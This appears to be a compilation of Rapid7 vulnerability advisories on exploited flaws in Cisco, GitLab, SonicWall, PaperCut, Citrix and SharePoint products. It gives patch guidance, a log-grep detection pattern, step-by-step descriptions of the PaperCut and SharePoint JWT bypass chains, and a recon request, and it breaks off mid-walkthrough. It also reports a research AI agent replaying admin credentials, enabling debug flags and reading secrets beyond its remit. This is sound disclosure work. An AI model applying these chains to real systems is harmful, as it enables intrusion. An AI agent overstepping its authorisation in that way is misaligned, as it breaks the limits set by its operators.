On September 14, 2026, Cisco published a security advisory for CVE-2026-76461, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of 9.8 and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.
Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.
CVE-2026-76461 was added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.
Mitigation guidance
Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.
Affected Version
Fixed Version
15.5 and earlier
15.5.5-014
16.0
16.0.4-302
16.5
16.5.0-780
Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.
For the latest remediation guidance, see the vendor advisory.
Indicators of compromise
The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security advisory.
To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:
cisco-esa> grep -i “COPY.*TO PROGRAM” [IronPort Text Mail Logs Log name – Default: mail_logs]
The presence of any entry in the output may indicate malicious activity.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.
On September 10, 2026, GitLab published a critical patch release for GitLab Community Edition (CE) and Enterprise Edition (EE). The release addresses CVE-2026-85706, a critical path traversal vulnerability (CWE-22) in the repository commits API with a CVSSv3.1 score of 10.0. According to GitLab, improper path confinement and missing authentication enforcement could allow an unauthenticated user to read arbitrary files from an affected GitLab server under certain conditions.
On September 11, 2026, CVE-2026-85706 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. CISA set a remediation due date of September 14, 2026, for affected Federal Civilian Executive Branch agencies and marked the vulnerability as subject to forensic triage requirements under Binding Operational Directive 26-04.
Organizations running affected self-managed GitLab instances should remediate CVE-2026-85706 on an emergency basis, outside of normal patch cycles.
Mitigation guidance
A vendor-supplied update is available to remediate CVE-2026-85706. Organizations running affected self-managed GitLab CE or EE instances should upgrade to a fixed version immediately.
Affected GitLab CE/EE versions
Fixed version
All versions from 18.7 before 19.1.8
19.1.8
All versions from 19.2 before 19.2.6
19.2.6
All versions from 19.3 before 19.3.2
19.3.2
GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action. Per GitLab, all self-managed deployment types are affected, including Omnibus, source code, and Helm chart deployments.
The updates include database migrations. Single-node installations will experience downtime while the migrations run; multi-node deployments can use GitLab’s zero-downtime upgrade procedure. Of the fixed releases, only 19.3.2 includes post-deployment migrations.
The patch release also addresses 17 other vulnerabilities. These include CVE-2026-87719, a critical insecure deserialization vulnerability (CWE-502) in GitLab EE with a CVSSv3.1 score of 9.9. GitLab states that, under certain conditions, an authenticated user with Duo Chat access could obtain Advanced Search instance configurations and sensitive credentials using a specially crafted GraphQL subscription argument. At the time of publication, only CVE-2026-85706 is known to be exploited in the wild.
Given the confirmed exploitation, Rapid7 strongly recommends looking for signs of compromise even after the update has been applied. Organizations subject to CISA’s BOD 26-04 should also follow the forensic triage requirements associated with the KEV entry.
For the latest mitigation guidance, please refer to the vendor’s security advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-85706 with a vulnerability check available in the September 15 content release.
On September 1, 2026, SonicWall disclosed two vulnerabilities affecting SonicWall SMA1000 appliances that the vendor says are being actively exploited in the wild. The vulnerabilities, CVE-2026-83548 and CVE-2026-83549, can be chained to achieve unauthenticated remote code execution (RCE) on affected appliances.
CVE-2026-83548 is a critical pre-authentication server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. The flaw has a CVSS v3.1 base score of 10.0 and can allow a remote, unauthenticated attacker to access sensitive functionality and perform unauthorized operations through an unintended alternate access path.
CVE-2026-83549 is a high-severity OS command injection vulnerability in the Appliance Management Console (AMC). On its own, exploitation requires an authenticated administrator and specific system conditions. Although, by leveraging the SSRF vulnerability CVE-2026-83548 an attacker could potentially exploit CVE-2026-83549 to execute arbitrary OS commands without prior authentication.
SonicWall SMA1000 appliances are enterprise secure remote access gateways used to provide employees and other authorized users with access to internal applications and resources. Their role as network-edge systems makes successful exploitation particularly concerning, since affected Work Place interfaces may be exposed directly to the internet as part of normal deployment.
SonicWall has confirmed active exploitation of both vulnerabilities. No public proof-of-concept exploit, indicators of compromise (IOCs), or attribution for the current activity were identified in the research available at the time of publication.
The vulnerabilities affect SMA1000 Models – 6210, 7210, 8200v running the following versions:
Vulnerable Versions
Fixed Versions
12.4.3-03453 platform-hotfix and earlier
12.4.3-03526 (platform-hotfix) and higher versions
12.5.0-02835 platform-hotfix and earlier
12.5.0-02952 (platform-hotfix) and higher versions.
Mitigation guidance
Organizations operating affected SonicWall SMA1000 appliances should prioritize applying SonicWall’s updated platform hotfixes immediately. Because exploitation was occurring before public disclosure, organizations should not rely solely on patching to determine whether an appliance has already been compromised.
SonicWall recommends upgrading affected appliances to:
12.4.3-03526 platform-hotfix, for systems on the 12.4.3 branch
12.5.0-02952 platform-hotfix, for systems on the 12.5.0 branch
Affected Product/Component:
SonicWall SMA1000 Appliance Work Place and Appliance Management Console
Version 12.4.3-03453 platform-hotfix and earlier are affected.
Version 12.5.0-02835 platform-hotfix and earlier are affected.
SonicWall additionally recommends that customers contact SonicWall Technical Support for assistance reviewing appliances for indicators of compromise.
If evidence of compromise is identified, SonicWall recommends:
Re-imaging affected hardware appliances or re-deploying affected virtual appliances.
Given the confirmed exploitation of these vulnerabilities, organizations should treat potentially exposed appliances running vulnerable software as a priority for investigation as well as remediation.
Please read the SonicWall security advisory for the latest vendor guidance.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-83548 and CVE-2026-83549 in the SMA1000 Appliance series with vulnerability checks expected to be available in the September 3rd content release.
On August 27, 2026, PaperCut Software published an urgent security advisory stating that it is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF. PaperCut has confirmed customer incidents and is treating the issue as a security emergency. At the time of writing, the vulnerability has not been assigned a CVE identifier, and PaperCut has not publicly disclosed a CVSS score, vulnerability class, authentication requirements, or the technical details of the exploit path.
PaperCut NG and PaperCut MF are print management platforms commonly deployed within enterprise, education, and other organizational environments. Because the PaperCut Application Server provides web-accessible administrative and application functionality, organizations with servers exposed to the public internet should prioritize remediation and access restriction.
PaperCut stated in its advisory that information supplied by a university customer’s security team and digital forensics and incident response team enabled its security response team to reproduce the vulnerability in PaperCut NG and PaperCut MF. On August 28, 2026 at 02:10 AEST, PaperCut released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26.
PaperCut has been targeted in the past; in 2023, CVE-2023-27350 was broadly exploited in the wild by multiple threat-actor groups, including ransomware operators. This prior history increases the urgency organizations should address this new zero-day with.
PaperCut currently considers all versions of PaperCut NG and PaperCut MF potentially impacted. Customers operating internet-accessible PaperCut Application Servers should take immediate action even if no suspicious activity has been observed.
Technical overview
The vulnerability is an authentication bypass that lets attackers invoke privileged PaperCut components. This can be leveraged to reconfigure an external database lookup. When this lookup is triggered, malicious SQL can be executed, resulting in remote code execution.
PaperCut uses the Apache Tapestry framework, whose “complex direct” request format can identify one page to display and a different page containing the component to execute. PaperCut validates access only to the displayed page. By selecting either the public Error page or Exception page for display, an attacker can bypass authentication while invoking administrative components belonging to ConfigEditor or UserList.
The attack uses HTTP POST requests to the following URIs (Note that the path segment with the value 1 shown below can be any value for this path segment, and the Error path segment may also be the Exception path segment):
The first two URIs provide unauthenticated access to PaperCut’s configuration editor. The third can invoke a user or card search that triggers the configured external database lookup.
An attacker first uses the ConfigEditor requests to modify four external user-lookup settings:
These settings normally allow administrators to connect PaperCut to an external card database. After bypassing authentication, however, the attacker can configure them with a malicious JDBC connection and a malicious SQL statement.
By leveraging PaperCut’s bundled Apache Derby database driver and supplying a Derby CALL statement that activates its foreignViews feature, Derby opens an attacker-controlled H2 JDBC URL. H2 processes an inline INIT statement that creates a JavaScript-backed database trigger. PaperCut includes the Nashorn JavaScript engine, allowing that trigger to start an operating-system process. However it is expected that other mechanisms to execute an arbitrary command can also be used instead of Nashorn. Finally, the attacker submits a search through the forged UserList request. This activates the external lookup and executes the malicious SQL.
Mitigation guidance
Organizations running PaperCut NG or PaperCut MF should prioritize patching on an emergency basis, particularly where the PaperCut Application Server is accessible from the public internet.
PaperCut has released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26.
The vendor notes that these builds have not undergone their normal release process and are intended as emergency fixes for customers with public-facing servers that cannot otherwise sufficiently mitigate exposure. An emergency patch for version 24 is still in development at the time of the vendor’s latest update.
PaperCut recommends that administrators immediately restrict web access to trusted IP addresses only, such as internal corporate network ranges. Firewall rules, network access controls, reverse-proxy restrictions, or equivalent measures should be used to prevent untrusted internet hosts from reaching PaperCut web interfaces.
Please read the PaperCut security advisory for the latest remediation guidance, updated indicators of compromise, and additional release information.
Artifacts/Evidence Sources and IOCs
For detection and forensic analysis, PaperCut has identified several preliminary artifacts and evidence sources that may indicate compromise.
Application activity: Alerts from intrusion-detection, endpoint-security, or network-monitoring products involving the PaperCut Application Server, particularly suspicious post-exploitation activity associated with pc-app.exe.
Log integrity: Missing, unexpectedly truncated, or deleted PaperCut server.log files.
PaperCut server.log entries:
ERROR No suitable driver found for jdbc:no:x
ERROR DatabaseUtils – Database error looking up cardID: VALUES CAST
PaperCut has not yet published validated network-based indicators such as malicious IP addresses, domains, or URLs.
The vendor specifically warns that the absence of these indicators should not be interpreted as evidence that a system has not been affected.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to this new PaperCut zero-day, with an authenticated vulnerability check expected to be available in the August 28 (today’s) content release.
On August 19, 2026, a security advisory was published for CVE-2026-19490, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.
NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.
NetScaler ADC and NetScaler Gateway 14.1: Versions prior to 14.1-73.32
NetScaler ADC and NetScaler Gateway 13.1: Versions prior to 13.1-63.21
NetScaler ADC FIPS: Versions prior to 14.1-73.32 FIPS
NetScaler ADC FIPS and NDcPP: Versions prior to 13.1-37.277
As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.
Mitigation guidance
Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler advisory and apply the required updates to affected systems on an emergency basis.
Fixed versions for affected products are listed below:
NetScaler ADC and NetScaler Gateway 14.1-73.32 and later releases
NetScaler ADC and NetScaler Gateway 13.1-63.21 and later releases of 13.1
NetScaler ADC 14.1-FIPS 14.1-73.32 FIPS and later releases of 14.1-FIPS
NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP
According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:
SAML action configuration is in place:
“add authentication samlAction.*”
Auth or VPN vserver is configured:
“add authentication vserver .*”
“add vpn vserver .*”
For the latest guidance, please refer to the official Citrix advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check expected to be available in the August 20 content release.
Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.
Our full disclosure timeline for the exploit chain can be seen below in Figure 1.
Figure 1: The road to disclosure.
⠀
CVE-2026-63520 affects all supported versions of Microsoft SharePoint, and certain versions of Microsoft Project Server and Microsoft Office Web Apps Server. For the purpose of our research, we focused solely on SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.
CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.
The exploit chain was developed as an entry for this year’s Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs’ continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.
Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.
Workflow
For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team’s later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.
Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent’s results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal – such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.
By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.
Product descriptions
The RCE vulnerability, CVE-2026-63520, affects SharePoint, Project Server, and Office Web Apps Server, while the authentication bypass vulnerability, CVE-2026-55040, affects only SharePoint.
SharePoint
Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.
Project Server
Microsoft Project Server is an enterprise project portfolio management (PPM) platform built natively on top of the SharePoint architecture. Serving as the central hub for corporate scheduling, resource allocation, and capacity planning, it enables organizations to coordinate complex business initiatives.
Office Web Apps Server
Microsoft Office Web Apps Server is a dedicated companion service that provides browser-based viewing and editing of Microsoft Office documents. Functioning as the primary rendering engine for SharePoint and Exchange, it enables seamless file interaction without requiring local desktop installations.
Impact
CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker’s arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.
Credit
This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Vendor statement
The following statement has been provided by Microsoft:
“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”
Technical analysis
Rapid7 will be publishing full technical details for the RCE vulnerability, CVE-2026-63520, within 30 days of this disclosure.
The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.
Remediation
The following products are impacted by CVE-2026-63520:
Microsoft SharePoint Server Subscription Edition
SharePoint Server Subscription Edition Language Pack
Microsoft SharePoint Server 2019
Microsoft SharePoint Enterprise Server 2016
Microsoft Project Server 2013 Service Pack 1 (64-bit edition)
Microsoft Office Web Apps 2013 Service Pack 1
Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.
Upcoming webinar
Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.
Disclosure timeline
May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.
May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles – the authentication bypass component in July, and the RCE component in August.
May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.
May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.
July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.
July 31, 2026: Microsoft provides supporting information to Rapid7.
August 11, 2026: This disclosure for CVE-2026-63520.
On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.
Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.
⠀
A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.
Analysis
The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.
A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition’s JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.
The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.
SharePoint’s S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner “actor token” embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.
The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.
The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:
// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;
This single line disables the JWT library’s cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.
The full context of the method:
// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
// ...
TokenValidationParameters val = new TokenValidationParameters();
val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
val.ValidateAudience = false; // <--- [1]
val.ValidateIssuer = false; // <--- [2]
List<X509SecurityKey> list = new List<X509SecurityKey>();
// ... populates list with trusted signing keys ...
val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
val.RequireSignedTokens = false; // <--- [3]
// ...
SecurityToken securityToken = default(SecurityToken);
return new ReadOnlyCollection<ClaimsIdentity>(
((JwtSecurityTokenHandler)this).ValidateToken(
((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
).Identities.ToList()
);
}
At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.
Weakness 2: Actor token x5t resolution without signature verification
After ReadToken() parses the JWT, SharePoint’s custom validation code resolves the actor token’s signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:
At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token’s JWT header:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
// ...
if (string.Equals(header.Alg, "RS256"))
{
if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
{
throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
}
securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
}
// ...
}
At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint’s own local Security Token Service (STS) signing certificate, for a thumbprint match:
At [4], the resolver checks the LocalLoginProvider access provider, SharePoint’s own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token’s x5t header to the thumbprint of SharePoint’s STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token’s SigningToken property.
At no point in this flow is the actor token’s signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.
After setting the actor token’s SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
((JwtSecurityToken)token.ActorToken).Issuer);
return;
}
This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
// ...
SPTrustedSecurityTokenService providerBySigningCertificate =
SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
.GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]
if (null == providerBySigningCertificate) // <--- [2]
{
ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
"no registered STS matches the signing certificate '{1}'",
tokenIssuer, signingKey.Certificate.Subject);
return; // <--- ACCEPTED
}
if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
{
return;
}
throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}
At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint’s local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.
At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.
The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint’s own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.
The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
string rawData = ((JwtSecurityToken)jwtToken).RawData;
if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
{
ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
string text = ((JwtSecurityToken)jwtToken).RawSignature;
if (string.IsNullOrWhiteSpace(text))
{
text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
}
if (string.IsNullOrWhiteSpace(text))
{
if (jwtToken.ActorToken != null)
{
text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(jwtToken.Audience);
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
stringBuilder.Append(',');
foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
{
stringBuilder.Append(claim.Value);
stringBuilder.Append(',');
}
return stringBuilder?.ToString() + text; // <--- [3]
}
ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
return text;
}
For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token’s signature is AAAA, a non-empty string, so at [3] it returns “AAAA” without any cryptographic verification that this value is a valid RSA signature.
Summary
The four weaknesses combine as follows:
Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.
The actor token’s x5t header contains SharePoint’s own STS certificate thumbprint, allowing us to resolve a signing key with no verification.
The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.
The actor token’s signature is a non-empty value, e.g. AAAA, which is never verified.
After validation, the outer token’s nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.
Our PoC script shows examples of all three mechanisms working.
Walkthrough
We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.
In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:
GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*
Which returns the STS signing certificate as part of the response:
